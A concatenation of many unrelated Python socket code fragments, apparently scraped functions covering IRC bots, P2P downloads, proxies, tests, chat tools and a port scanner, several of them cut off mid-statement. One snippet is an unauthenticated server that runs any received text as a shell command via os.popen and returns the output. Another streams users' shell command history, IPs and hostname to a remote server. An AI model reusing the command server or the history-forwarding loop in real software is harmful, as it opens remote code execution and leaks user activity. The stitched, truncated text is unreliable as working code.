def read_chat(self): #wait for connection from spatulabot bot_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) bot_s.bind(('', 9000)) bot_s.listen(10) conn, addr = bot_s.accept() print 'Connected with ' + addr[0] + ':' + str(addr[1]) #connect to twitch s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((cfg.HOST, cfg.PORT)) s.send("PASS {}\r\n".format(cfg.PASS).encode("utf-8")) s.send("NICK {}\r\n".format(cfg.NICK).encode("utf-8")) s.send("JOIN {}\r\n".format(cfg.CHAN).encode("utf-8")) done_wait = datetime.datetime.now() while self.running: response = s.recv(1024).decode("utf-8") if datetime.datetime.now() < done_wait: continue for r in response.split('\r\n'): if r == "PING :tmi.twitch.tv\r\n": s.send("PONG :tmi.twitch.tv\r\n".encode("utf-8")) elif len(r) > 0 and CHAT_MSG.match(r): username = re.search(r"\w+", r).group(0) # return the entire match message = CHAT_MSG.sub("", r) self.add_line(username, message) #check if matches a command for c in CHAT_COMMANDS: if message in c[0]: bot_s.send(c[1]+'\r\n') #timeout done_wait = datetime.datetime.now() + datetime.timedelta(seconds=12) s.close() bot_s.close()
def downloadFile(self, listadapter, *args): try: self.interface.log("ABOUT TO DOWNLOAD FROM " + listadapter.selection[0].text) s = listadapter.selection[0].text i = self.app.context["peers_addr"].index(s) print("INSIDE DOWNLOAD ") key = str(i)+"_"+str(s) if(self.app.context["downloads_available"][str(key)]): peer = self.app.context["downloads_available"][str(key)] print(peer) ##possiamo far partire il download del file destination = (s , int(peer["porta"])) print(destination) print(peer["md5"]) self.connection_socket = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) self.connection_socket.connect(destination) message = "RETR"+str(peer["md5"]) self.connection_socket.send(message) message_type = self.connection_socket.recv(4) num_chunks = self.connection_socket.recv(6) f = open('shared/'+peer["nome"].strip(" "), "wb") if int(num_chunks) > 0 : print("num chunks " + str(num_chunks)) self.interface.progress.max = int(num_chunks) for i in range(int(num_chunks)): len_chunk = self.connection_socket.recv(5) if (int(len_chunk) > 0): self.interface.progress.value = self.interface.progress.value + 1 chunk = self.connection_socket.recv(int(len_chunk)) #f.write(chunk) #print("downloading chunk " + str(len_chunk)) while len(chunk) < int(len_chunk): new_data = self.connection_socket.recv(int(len_chunk)-len(chunk)) #f.write(new_data) chunk = chunk + new_data f.write(chunk) f.close() self.connection_socket.close() self.interface.progress.value = 0 ## scriviamo alla directory che abbiamo finito il download self.connection_socket = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) self.connection_socket.connect(self.directory) message = "DREG" + self.app.context["sessionid"] + peer["md5"] self.connection_socket.send(message) ack = self.connection_socket.recv(4) n_down = self.connection_socket.recv(5) self.interface.log("RECEIVED "+ str(ack)) self.interface.log("#DOWNLOAD " + str(n_down)) self.connection_socket.close() else: print("NOT AVAILABLE") except: print("exception!!") print(sys.exc_info()[0]) print(sys.exc_info()[1]) print(sys.exc_info()[2])
def connect(self): assert self.server_hostname assert self.server_port assert self.nickname self.username = self.username or self.nickname self.realname = self.realname or self.nickname if self.ipv4: self._socket = socket.socket() else: self._socket = socket.socket(socket.AF_INET6) if self.bindhost: self._socket.bind((self.bindhost, 0)) try: self._socket.connect((self.server_hostname, self.server_port)) except Exception as e: raise e if self.ssl: try: self._socket = self.ssl_wrap(self._socket) except ssl.SSLError: self.ssl_verify = False if self.connect(): self.connected = True return False if self._socket: self.send_pass(self.password) self.send_user(self.username, self.realname) self.send_nick(self.nickname) self.connected = True self._socket.setblocking(False) return True return False
def _create_remote_socket(self, ip, port): if self._remote_udp: addrs_v6 = socket.getaddrinfo("::", 0, 0, socket.SOCK_DGRAM, socket.SOL_UDP) addrs = socket.getaddrinfo("0.0.0.0", 0, 0, socket.SOCK_DGRAM, socket.SOL_UDP) else: addrs = socket.getaddrinfo(ip, port, 0, socket.SOCK_STREAM, socket.SOL_TCP) if len(addrs) == 0: raise Exception("getaddrinfo failed for %s:%d" % (ip, port)) af, socktype, proto, canonname, sa = addrs[0] if self._forbidden_iplist: if common.to_str(sa[0]) in self._forbidden_iplist: raise Exception('IP %s is in forbidden list, reject' % common.to_str(sa[0])) remote_sock = socket.socket(af, socktype, proto) self._remote_sock = remote_sock self._fd_to_handlers[remote_sock.fileno()] = self if self._remote_udp: af, socktype, proto, canonname, sa = addrs_v6[0] remote_sock_v6 = socket.socket(af, socktype, proto) self._remote_sock_v6 = remote_sock_v6 self._fd_to_handlers[remote_sock_v6.fileno()] = self remote_sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 32) remote_sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 32) remote_sock_v6.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 32) remote_sock_v6.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 32) remote_sock.setblocking(False) if self._remote_udp: pass else: remote_sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1) return remote_sock
def send_to_client(self, sctag, msg): #msg is json in str msg_ = check_smsg('send', sctag, msg) if msg_ == None: logging.error('msg is not proto-good') return cp_info = self.commpair_info_dict[sctag] proto = cp_info['proto'] #sock = cp_info['sock'] sock = None c_addr = cp_info['c_addr'] # response = None if proto == 'tcp': try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(c_addr) sock.sendall(msg) response = sock.recv(1024) except IOError as e: if e.errno == errno.EPIPE: #due to insuffient recv_buffer at the other end logging.error('broken pipe err, check recv_buffer') finally: sock.close() elif proto == 'udp': sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(msg, c_addr) response = sock.recv(1024) # logging.info('sent to %s_client=%s, datasize=%sBs', proto,c_addr,sys.getsizeof(msg)) logging.info('response=%s', response)
def create_socket(self): if self.protocol == 'TCP': self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) elif self.protocol == 'UDP': self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) else: self.socket = socket.socket()
def handle(client_socket, address): global totalnewconns global mysql_stats totalnewconns += 1 mysql_sockets = [] # First connection is always master, it gets all modifications mysql_socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) state = "alive" try: # TODO: add a timer here to wait 10s if a server is dead before # trying to reconnect again mysql_socket1.connect(('192.168.127.3', 3306)) mysql_stats[0]["globalstate"] = "alive" state = "alive" except socket.error as err: mysql_stats[0]["globalstate"] = "dead" state = "dead" mysql_sockets.append({"conn": mysql_socket1, "state":state, "stats":mysql_stats[0]}) mysql_socket2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) state = "alive" try: # TODO: add a timer here to wait 10s if a server is dead before # trying to reconnect again mysql_socket2.connect(('192.168.127.4', 3306)) mysql_stats[1]["globalstate"] = "alive" state = "alive" except socket.error as err: mysql_stats[1]["globalstate"] = "dead" state = "dead" mysql_sockets.append({"conn": mysql_socket2, "state":state, "stats":mysql_stats[1]}) do_handshake(client_socket, mysql_sockets) do_commands(client_socket, mysql_sockets)
def send_cmd_info(): global SERVER_IP,SERVER_PORT,DETECT_TIME sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sec=86400 res,hostname=commands.getstatusoutput('hostname') while True: begin,end,script,log=parse_history_log_file('/tmp/.history_cmd.log') try: sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sk.connect((SERVER_IP,SERVER_PORT)) for i in range(begin,end): cmd=script+' '+str(i)+' '+log res,info=commands.getstatusoutput(cmd) if info: str_list=info.split('@_@') dicts={'type':'cmd'} dicts['time']=str_list[0].rstrip(' ') dicts['user']=str_list[1] dicts['ip']=str_list[2] dicts['cmd']=str_list[3] dicts['host']=hostname json=simplejson.dumps(dicts) if dicts['ip'] == '' or dicts['user'] == '': continue sk.sendall(json) except Exception as e: print e finally: sk.close() time.sleep(DETECT_TIME)
def getFreeAddresses(self): import socket s = socket.socket() s.bind(('',0)) port0 = s.getsockname()[1] s1 = socket.socket() s1.bind(('',0)) port1 = s1.getsockname()[1] s.close() s1.close() if port0 <= 0 or port1 <= 0: #This happens in Jython... from java.net import ServerSocket s0 = ServerSocket(0) port0 = s0.getLocalPort() s1 = ServerSocket(0) port1 = s1.getLocalPort() s0.close() s1.close() assert port0 != port1 assert port0 > 0 assert port1 > 0 return port0, port1
def checkInbox(threadName, delay, counter): while True: if ONline == True: #test = str(raw_input("test: ")) #if test == "break": # break sock = socket.socket(socket.AF_INET, # Internet socket.SOCK_DGRAM) # UDP sock.bind((S_IP, int(S_PORT))) data, addr = sock.recvfrom(int(S_BUFFERSIZE)) #buffer size in bytes now = datetime.datetime.now() if data != "CC": print "Server>> ", now, " ", str(addr) + data easygui.msgbox(str(addr) + data, now) #self.components.chathistory.text = self.components.chathistory.text + "\n\n" + str(now) + " " + UDP_SENDERIP + ": " + data if data == "CC": print data, str(addr) #send "heartbeat" to connected client sock = socket.socket(socket.AF_INET, # Internet socket.SOCK_DGRAM) # UDP sock.sendto(S_IP+" You have Succesfully connected to: "+ S_IP, (addr)) elif ONline == False: print "Server>> OFFLINE!" time.sleep(1)
def on_ONLINE_mouseClick(self, event): global ONline Switch = self.components.ONLINE.checked if Switch == True: UDP_IP = self.components.UDP_IP.text UDP_PORT = self.components.UDP_PORT.text UDP_PORT = int(UDP_PORT) time.sleep(1) ONline = 1 self.components.ONLINE.label = "Go Offline" #easygui.msgbox("Server>> Online!") time.sleep(2) sock = socket.socket(socket.AF_INET, # Internet socket.SOCK_DGRAM) # UDP sock.sendto("Server>> Online!", (UDP_IP, UDP_PORT)) if Switch == False: UDP_IP = self.components.UDP_IP.text UDP_PORT = self.components.UDP_PORT.text UDP_PORT = int(UDP_PORT) time.sleep(1) ONline = 0 self.components.ONLINE.label = "Go Online" #easygui.msgbox("Server>> Offline!") time.sleep(2) sock = socket.socket(socket.AF_INET, # Internet socket.SOCK_DGRAM) # UDP sock.sendto("Server>> Offline!", (UDP_IP, UDP_PORT))
def __init__(self, listeners=None, send=False): self.sendSocket = None self.receiveSocket = None self.sendSeq = 0 self.receiveSeq = None self.listeners = listeners if listeners is not None else [] for L in self.listeners: assert isinstance(L, Listener) if send: self.sendSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) self.sendSocket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) else: ## similar to sending, but need to do the group membership setup self.receiveSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) self.receiveSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.receiveSocket.bind(('', Feed.MCAST_PORT)) mreq = struct.pack("4sl", socket.inet_aton(Feed.MCAST_GRP), socket.INADDR_ANY) self.receiveSocket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) self.receiveSocket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 256*1024) ## see /proc/sys/net/core/rmem_* ##print "receiveBuf = ", self.receiveSocket.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF) ## start the thread to handle any listeners through the callback mechanism if len(self.listeners): self.thread = threading.Thread(target=self.run, name="Feed") self.thread.daemon = True self.thread.start()
def run(self): while True: snap_shot() #time.sleep(.05) #HOST = 'u1204vm.local' #CPORT = 9091 #MPORT = 9090 #FILE = sys.argv[1] print "sending image" cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) cs.connect((self.host, self.cport)) cs.send("SEND " + self.filetosend) cs.close() time.sleep(0.05) ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ms.connect((self.host, self.mport)) f = open(self.filetosend, "rb") data = f.read() f.close() ms.send(data) ms.close() print "waiting one second before sending another image"
def init(): # socket setting global receiver global sender receiver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) receiver.bind(("", RECEIVE_PORT)) sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sender.bind(("", SEND_PORT)) # arduino setting global arduino try: arduino = serial.Serial(SERIAL_PORT, 9600) except: arduino = serial.Serial(SERIAL_PORT2, 9600) arduino.flushInput() # thread setting global receiver_thread global sender_thread global gps_thread receiver_thread = threading.Thread(target=receive_thread) sender_thread = threading.Thread(target=send_thread) gps_thread = gps_drive_class() # GPS setting global gpsd gpsd = gps.gps("127.0.0.1", "2947") gpsd.stream(gps.WATCH_ENABLE|gps.WATCH_NEWSTYLE)
def reuse_socket_address(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) old_state = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR) print "Old socket state: ", old_state # 激活套接字重用 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) new_state = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR) print "New socket state: ", new_state local_port = 8282 srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(('', local_port)) srv.listen(1) print "Listen On Port: ", local_port while True: try: connection, addr = srv.accept() print "Connect by %s:%s"%(addr[0],addr[1]) except KeyboardInterrupt: break except socket.error, msg: print '%s' % msg
def test_F_port_forwarding(self): """ verify that a client can forward new connections from a locally- forwarded port. """ self.setup_test_server() chan = self.tc.open_session() chan.exec_command('yes') schan = self.ts.accept(1.0) # open a port on the "server" that the client will ask to forward to. greeting_server = socket.socket() greeting_server.bind(('127.0.0.1', 0)) greeting_server.listen(1) greeting_port = greeting_server.getsockname()[1] cs = self.tc.open_channel(b'direct-tcpip', ('127.0.0.1', greeting_port), ('', 9000)) sch = self.ts.accept(1.0) cch = socket.socket() cch.connect(self.server._tcpip_dest) ss, _ = greeting_server.accept() ss.send(b'Hello!\n') ss.close() sch.send(cch.recv(8192)) sch.close() self.assertEquals(b'Hello!\n', cs.recv(7)) cs.close()
def test_get_conns(self): sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock1.bind(('127.0.0.1', 0)) sock1.listen(1) sock1ipport = '%s:%s' % sock1.getsockname() sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.bind(('127.0.0.1', 0)) sock2.listen(1) orig_port = memcached.DEFAULT_MEMCACHED_PORT try: sock2ip, memcached.DEFAULT_MEMCACHED_PORT = sock2.getsockname() sock2ipport = '%s:%s' % (sock2ip, memcached.DEFAULT_MEMCACHED_PORT) # We're deliberately using sock2ip (no port) here to test that the # default port is used. memcache_client = memcached.MemcacheRing([sock1ipport, sock2ip]) one = two = True while one or two: # Run until we match hosts one and two key = uuid4().hex for conn in memcache_client._get_conns(key): peeripport = '%s:%s' % conn[2].getpeername() self.assert_(peeripport in (sock1ipport, sock2ipport)) if peeripport == sock1ipport: one = False if peeripport == sock2ipport: two = False finally: memcached.DEFAULT_MEMCACHED_PORT = orig_port
def connect (self,fname): '''Connect to the server. Return True if the connection was established.''' trace = False and not g.unitTesting if trace: g.trace(fname,socket) if hasattr(socket,'AF_UNIX'): try: # pylint: disable=E1101 # E1101:LProtoClient.connect: Module 'socket' has no 'AF_UNIX' member self.socket = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) self.socket.connect(fname) return True except Exception: g.es_print('lproto.py: failed to connect!',fname) g.es_exception(full=False,c=None) return False else: try: host = '172.16.0.0' # host is a local address. port = 1 self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.socket.connect((host,port),) self.socket.connect(fname) return True except Exception: g.es_print('lproto.py: failed to connect! host: %s, port: %s' % ( host,port)) g.es_exception(full=False,c=None) return False
def create_sock_pair(port=0): '''Create socket pair. Works also on windows by using an ephemeral TCP port.''' if hasattr(socket, 'socketpair'): client_sock, srv_sock = socket.socketpair() return client_sock, srv_sock # Create a non-blocking temporary server socket temp_srv_sock = socket.socket() temp_srv_sock.setblocking(False) temp_srv_sock.bind(('localhost', port)) port = temp_srv_sock.getsockname()[1] temp_srv_sock.listen(1) with closing(temp_srv_sock): # Create non-blocking client socket client_sock = socket.socket() client_sock.setblocking(False) while True: try: client_sock.connect(('localhost', port)) except socket.error as err: # EWOULDBLOCK is not an error, as the socket is non-blocking if err.errno not in socket_errors_nonblocking: raise # Use select to wait for connect() to succeed. timeout = 1 readable = select.select([temp_srv_sock], [], [], timeout)[0] if temp_srv_sock not in readable: raise Exception('Client socket not connected in {} second(s)'.format(timeout)) srv_sock = temp_srv_sock.accept()[0] client_sock.setblocking(True) return client_sock, srv_sock
def send_option(option): if option==4: s=socket.socket() s.connect((hosta, porta)) s.send(str(option)) op=int(s.recv(1024)) if option==op: print "option sent" s.close() else: s=socket.socket() s.connect((hosta, porta)) s.send(str(option)) op=int(s.recv(1024)) if option==op: print "option sent" s.close() s=socket.socket() if (option!=op and option==2) or option!=2: s.connect((hostb, portb)) s.send(str(option)) op=int(s.recv(1024)) if option==op: print "option sent" s.close() tryb=True
def scanfiles(self): for root, dirs, files in os.walk("files"): for file_ in files: check = root+"/"+file_ if check not in self.files: try: self.files[check] = hash(open(check).read()) sock = socket.socket() sock.connect((self.host, self.port)) upload.upload(sock, check, self.username, self.password) print "{0} Outgoing file transfer {1}".format(datetime.datetime.now(), check) except Exception, e: #print e del self.files[check] time.sleep(0.5) else: with open(check, 'rb') as file: hashc = hash(file.read()) if hashc != self.files[check]: try: sock = socket.socket() sock.connect((self.host, self.port)) upload.upload(sock, check, self.username, self.password) print "{0} Outgoing file transfer {1}".format(datetime.datetime.now(), check) self.files[check] = hash(open(check).read()) except Exception, e: pass time.sleep(0.5)
def connect(self, server, port, channel): self.server = server self.port = port self.channel = channel if self.ssl: self.socket = ssl.wrap_socket( socket.socket(socket.AF_INET, socket.SOCK_STREAM)) else: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.server, self.port)) # Send user's info if self.password: self.send('PASS %s' % self.password) self.send('NICK %s' % self.nick) self.send( 'USER %s %s %s %s' % (self.nick, self.nick, self.nick, self.nick)) # Wait for commands while True: self.send('PING %s' % self.server) data = recv_timeout(self.socket) try: self.parse_data(data) except Exception: pass
def portscan(target,ports,tcp,udp,verbose): #target=IPaddr,ports=list of ports,tcp=true/false,udp=true/false,verbose=true/false printmsg(("Now scanning %s" % (target))) tcpports=[] udpports=[] if tcp: for portnum in ports: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.01) s.connect((target, portnum)) except Exception: failvar = 0 if verbose: print "%d/tcp \tclosed" % (portnum) else: print "%d/tcp \topen"% (portnum) tcpports.append(portnum) s.close() if udp: for portnum in ports: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.settimeout(0.1) s.sendto("--TEST LINE--", (target, portnum)) recv, svr = s.recvfrom(255) except Exception, e: try: errno, errtxt = e except ValueError: print "%d/udp \topen"% (portnum) udpports.append(portnum) else: if verbose: print "%d/udp \tclosed" % (portnum) s.close()
def minecraft(phenny, input): if input.sender.startswith('#'): return phenny.reply("This command only available in private message.") # Set up s = socket.socket() t = socket.socket() u = socket.socket() v = socket.socket() gamerx = cprossu = packethumper = bitviper = "UP" # Attempt connections try: s.connect(('gamerxreviews.net', 25565)) except: gamerx = "DOWN" try: t.connect(('72.222.196.252',25565)) except: cprossu = "DOWN" try: u.connect(('minecraft.nerderosity.com',25565)) except: packethumper = "DOWN" try: v.connect(('minecraft.bitviper.org',25565)) except: bitviper = "DOWN" # output phenny.reply( "GuardianZozo's minecraft server: gamerxreviews.net:25565. Server Status: {}".format(gamerx) ) phenny.reply( "Cprossu's minecraft server: 72.222.196.252:25565. Server Status: {}".format(cprossu) ) phenny.reply( "PacketHumper's minecraft server: minecraft.nerderosity.com:25565. Server Status: {}".format(packethumper) ) phenny.reply( "BitViper's minecraft server: minecraft.bitviper.org:25565. Server Status: {}".format(bitviper) )
def create_persistent(address): """ Create a new process, returning a persistent communications channel between the creating process and the created process. This channel can be disconnected from the creating process and connected to another process, and thus can be used to collect results from daemon processes. In order to be able to reconnect to created processes, the 'address' of the communications endpoint for the created process needs to be provided. This should be a filename. """ parent = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) child = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) child.bind(address) for s in [parent, child]: s.setblocking(1) pid = os.fork() if pid == 0: parent.close() return PersistentChannel(pid, child, address) else: child.close() #parent.connect(address) return Channel(pid, parent.makefile("r", 0), parent.makefile("w", 0))
def createSockByType(self, sockType): if sockType == socktypes.UDP_CLIENT_LOCAL: self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) elif sockType == socktypes.TCP_CLIENT_LOCAL: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) else: logger.error("***** ERROR SOCKTYPE *****")
def pick_random_port(): """Bind to an ephemeral port, force it into the TIME_WAIT state, and unbind it. This means that further ephemeral port alloctions won't pick this "reserved" port, but subprocesses can still bind to it explicitly, given that they use SO_REUSEADDR. By default on linux you have a grace period of 60 seconds to reuse this port. To check your own particular value: $ cat /proc/sys/net/ipv4/tcp_fin_timeout 60 """ s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('127.0.0.1', 0)) s.listen(0) sockname = s.getsockname() # these three are necessary just to get the port into a TIME_WAIT state s2 = socket.socket() s2.connect(sockname) s.accept() return sockname[1]
def testDefaultTimeout(self): # Testing default timeout # The default timeout should initially be None self.assertEqual(socket.getdefaulttimeout(), None) s = socket.socket() self.assertEqual(s.gettimeout(), None) s.close() # Set the default timeout to 10, and see if it propagates socket.setdefaulttimeout(10) self.assertEqual(socket.getdefaulttimeout(), 10) s = socket.socket() self.assertEqual(s.gettimeout(), 10) s.close() # Reset the default timeout to None, and see if it propagates socket.setdefaulttimeout(None) self.assertEqual(socket.getdefaulttimeout(), None) s = socket.socket() self.assertEqual(s.gettimeout(), None) s.close() # Check that setting it to an invalid value raises ValueError self.assertRaises(ValueError, socket.setdefaulttimeout, -1) # Check that setting it to an invalid type raises TypeError self.assertRaises(TypeError, socket.setdefaulttimeout, "spam")
def make_dummy_socket_pair(): """Create a pair of sockets connected to each other on the local interface. Used to implement SocketHandler.wakeup(). On Unixish systems, port 0 will pick the next available port. But that appears to have problems on Windows possibly with firewall software. So if we hit a socketerror with port 0, we try ports between 50000 and 65500. """ attempts = 0 port = 0 family, addr = localhost_family_and_addr() while 1: attempts += 1 try: dummy_server = socket.socket(family, socket.SOCK_STREAM) dummy_server.bind((addr, port)) dummy_server.listen(1) server_address = dummy_server.getsockname() first = socket.socket(dummy_server.family, socket.SOCK_STREAM) first.connect(server_address) second, address = dummy_server.accept() dummy_server.close() return first, second except socket.error: # if we hit this, then it's hopeless--give up if port > 65500: sys.stderr.write(("Tried %s bind attempts and failed on " "addr %s port %d\n") % (attempts, addr, port)) raise # bump us into ephemeral ports if we need to try a bunch if port == 0: port = 50000 else: port += 10
def __init__(self, name): ThreadManagement.ThreadManagement(name) socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.__target = None self.__listen_type = HyperSocket.__LOCAL self.__connect_type = None self.accept_queue = Queue.Queue(maxsize = 0)
def __init__(self, args): if args.primary: source_clipboard = Gdk.SELECTION_PRIMARY destination_clipboard = Gdk.SELECTION_PRIMARY else: source_clipboard = Gdk.SELECTION_CLIPBOARD destination_clipboard = Gdk.SELECTION_CLIPBOARD #defaults self.clips = [] self.received_clips = [] self.source_clipboard = Gtk.Clipboard.get(source_clipboard) self.destination_clipboard = Gtk.Clipboard.get(destination_clipboard) self.notifications=[] self.clip_max_count = args.count self.menu_max_width = args.width self.last_sent = None #create menu self.menu = Gtk.Menu() self.create_menu(self.menu, autosend=args.autosend, autoreceive=args.autoreceive) #create status icon/appindicator use_appind = not args.noappint if use_appind: try: gi.require_version('AppIndicator3', '0.1') from gi.repository import AppIndicator3 except ImportError: use_appind = False if use_appind: self.ind = AppIndicator3.Indicator.new( APP_NAME, realpath(ICON_LOCATION), AppIndicator3.IndicatorCategory.APPLICATION_STATUS ) self.ind.set_status(AppIndicator3.IndicatorStatus.ACTIVE) self.ind.set_menu(self.menu) else: self.ind = Gtk.StatusIcon() #FIXME: deprecated self.ind.set_from_file(realpath(ICON_LOCATION)) self.ind.connect('popup-menu', self.on_popup_menu) #setup socket self.multicast_group = args.address self.port = args.port self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 1) self.sock.bind(('', self.port)) self.sock.settimeout(0.2) self.group = socket.inet_aton(self.multicast_group) mreq = struct.pack('4sL', self.group, socket.INADDR_ANY) self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) #setup notify Notify.init(APP_NAME) #connect signals self.source_clipboard.connect('owner-change', self.on_clipboard_change) GLib.io_add_watch(self.sock.makefile('r'), GLib.IO_IN, self.on_clip_received)
def get_allowed_auths(self, username): return 'password,publickey' def check_channel_shell_request(self, channel): self.event.set() return True def check_channel_pty_request(self, channel, term, width, height, pixelwidth, pixelheight, modes): return True # now connect try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('', 2200)) except Exception, e: print '*** Bind failed: ' + str(e) traceback.print_exc() sys.exit(1) try: sock.listen(100) print 'Listening for connection ...' client, addr = sock.accept() except Exception, e: print '*** Listen/accept failed: ' + str(e) traceback.print_exc() sys.exit(1)
import socket import os import time server = socket.socket() server.bind(('localhost', 6969)) # 绑定地址&端口 server.listen(5) # 监听 while True: conn, addr = server.accept() # 等待接受 while True: data = conn.recv(1024) print('server receive:', data.decode()) if not data: print('client has lost ...') break res = os.popen(data.decode()).read() # 命令执行结果 if len(res.encode()) == 0: res = 'No results' conn.send(str(len(res.encode())).encode()) # 先发送,下面要发送的数据长度 # time.slee(0.5) client_ack = conn.recv(1024) # wait client to confirm 解决粘包 print('from client ack:', client_ack) conn.send(res.encode('utf8')) server.close()
def connect(host, port): import socket sock = socket.socket() sock.connect((host,port)) return Connection(sock)
# UDP Server import socket import logging from random import randint import sys logging.basicConfig( format=u'[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s', level=logging.NOTSET) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) port = 10009 adresa = 'localhost' server_address = (adresa, port) sock.bind(server_address) total = 10000 wstart = 1 wend = 1000 wsize = wend received = [] for i in range(0, wsize): received.append(0) while True: data, address = sock.recvfrom(4096) if data: if data == "stop":
#!/usr/bin/python import socket import sys import time UDP_IP = "localhost" # Server's IP UDP_PORT = 5002 # Server's Port data = 0 # Variable to check if any data is received sock = socket.socket(socket.AF_INET, # Internet socket.SOCK_DGRAM) # UDP sock.sendto("INC", (UDP_IP, UDP_PORT)) time.sleep(1) sock.sendto("INC", (UDP_IP, UDP_PORT)) time.sleep(1) sock.sendto("INC", (UDP_IP, UDP_PORT)) time.sleep(1) sock.sendto("GET", (UDP_IP, UDP_PORT)) data, addr = sock.recvfrom(1024) # buffer size is 1024 bytes if(data != 0): print data
if __name__ == '__main__': parser = argparse.ArgumentParser(description="Render text for label write and optionally print") parser.add_argument("text", nargs='?', help="text to write (default: read from stdin)") parser.add_argument("--font", default="Arial, 60", help="font to use (default: 'Arial, 60')") parser.add_argument("--tapewidth", default=128, type=int, help="Tape Width (default: 128)") parser.add_argument("--save", metavar="FILE", help="save image to filename instead of printing") parser.add_argument("--ip", help="talk to printer at IP instead of writing to stdout") args = parser.parse_args() if args.text is None: args.text = input("text: ") if args.ip: if args.save: raise Exception("options 'ip' and 'save' conflict") import socket stream = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) print("connecting to {}:{}".format(args.ip, 9100)) stream.connect((args.ip, 9100)) else: stream = sys.stdout.buffer render_text(args.text, font=args.font, tapewidth=args.tapewidth, save=args.save, stream=stream) if args.ip: time.sleep(2) stream.close() if 0: img = b"" for i in range (256)[::-1]: for j in range (8): if i & (1 << j): img += b"\xff\xff" else:
def __init__(self): self.sock = socket.socket() self.connection() self.createFileBuffers()
if len(tmp) == 0 : break recv_data += tmp recv_data = recv_data.decode(errors="ignore") recv_msg = json.loads(recv_data) error_code = recv_msg["error_code"] if error_code ==0: print("登录成功") recv_func(sock) elif error_code ==1: print("登录失败") conf = json.load(open("conf.json")) sock = socket.socket() sock.connect((conf["server_ip"],conf["server_port"])) print("连接成功!") try: print("\n您可以输入1登录用户,2注册用户,3查询用户名是否合法,4退出向导") i = int(input(">>>>>")) if i == 1: login_main() elif i == 2: reg_main() elif i == 3: user_name = input("请输入您想查询的用户名") check_user_name(user_name) elif i == 4: print("再见")
def main(): global current_interface_option, current_menu_option, config_status, config_date_status, key_trigger_status, exit_status #t_key_trigger = threading.Thread(target=key_trigger, args=()) #t_key_trigger.start() t_load_info = threading.Thread(target=load_info, args=()) t_load_info.start() #serial = spi(port=0, device=0, gpio_DC=23, gpio_RST=24) #device = st7567(serial) print("[MT], 1, sys.argv[1:] %s" % sys.argv[1:]) #device = get_device() # use custom font #font_path = os.path.abspath(os.path.join(os.path.dirname(__file__), # 'fonts', 'Aakt.ttf')) #font2 = ImageFont.truetype(font_path, 16) ''' term = terminal(device, font2) term.animate = False term.println("Progress bar") term.println("------------") for mill in range(0, 10001, 25): term.puts("\rPercent: {0:0.1f} %".format(mill / 100.0)) term.flush() time.sleep(2) term.clear() ''' parapipe = "/etc/lcdpipe" if not os.path.exists(parapipe): os.mkfifo(parapipe) fd_pp = os.open(parapipe, os.O_RDONLY | os.O_NONBLOCK) BUFSIZE = 1024 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print("mytest, create socket successful...") ip_port = ('127.0.0.1', 58471) client.sendto(('0 0 4 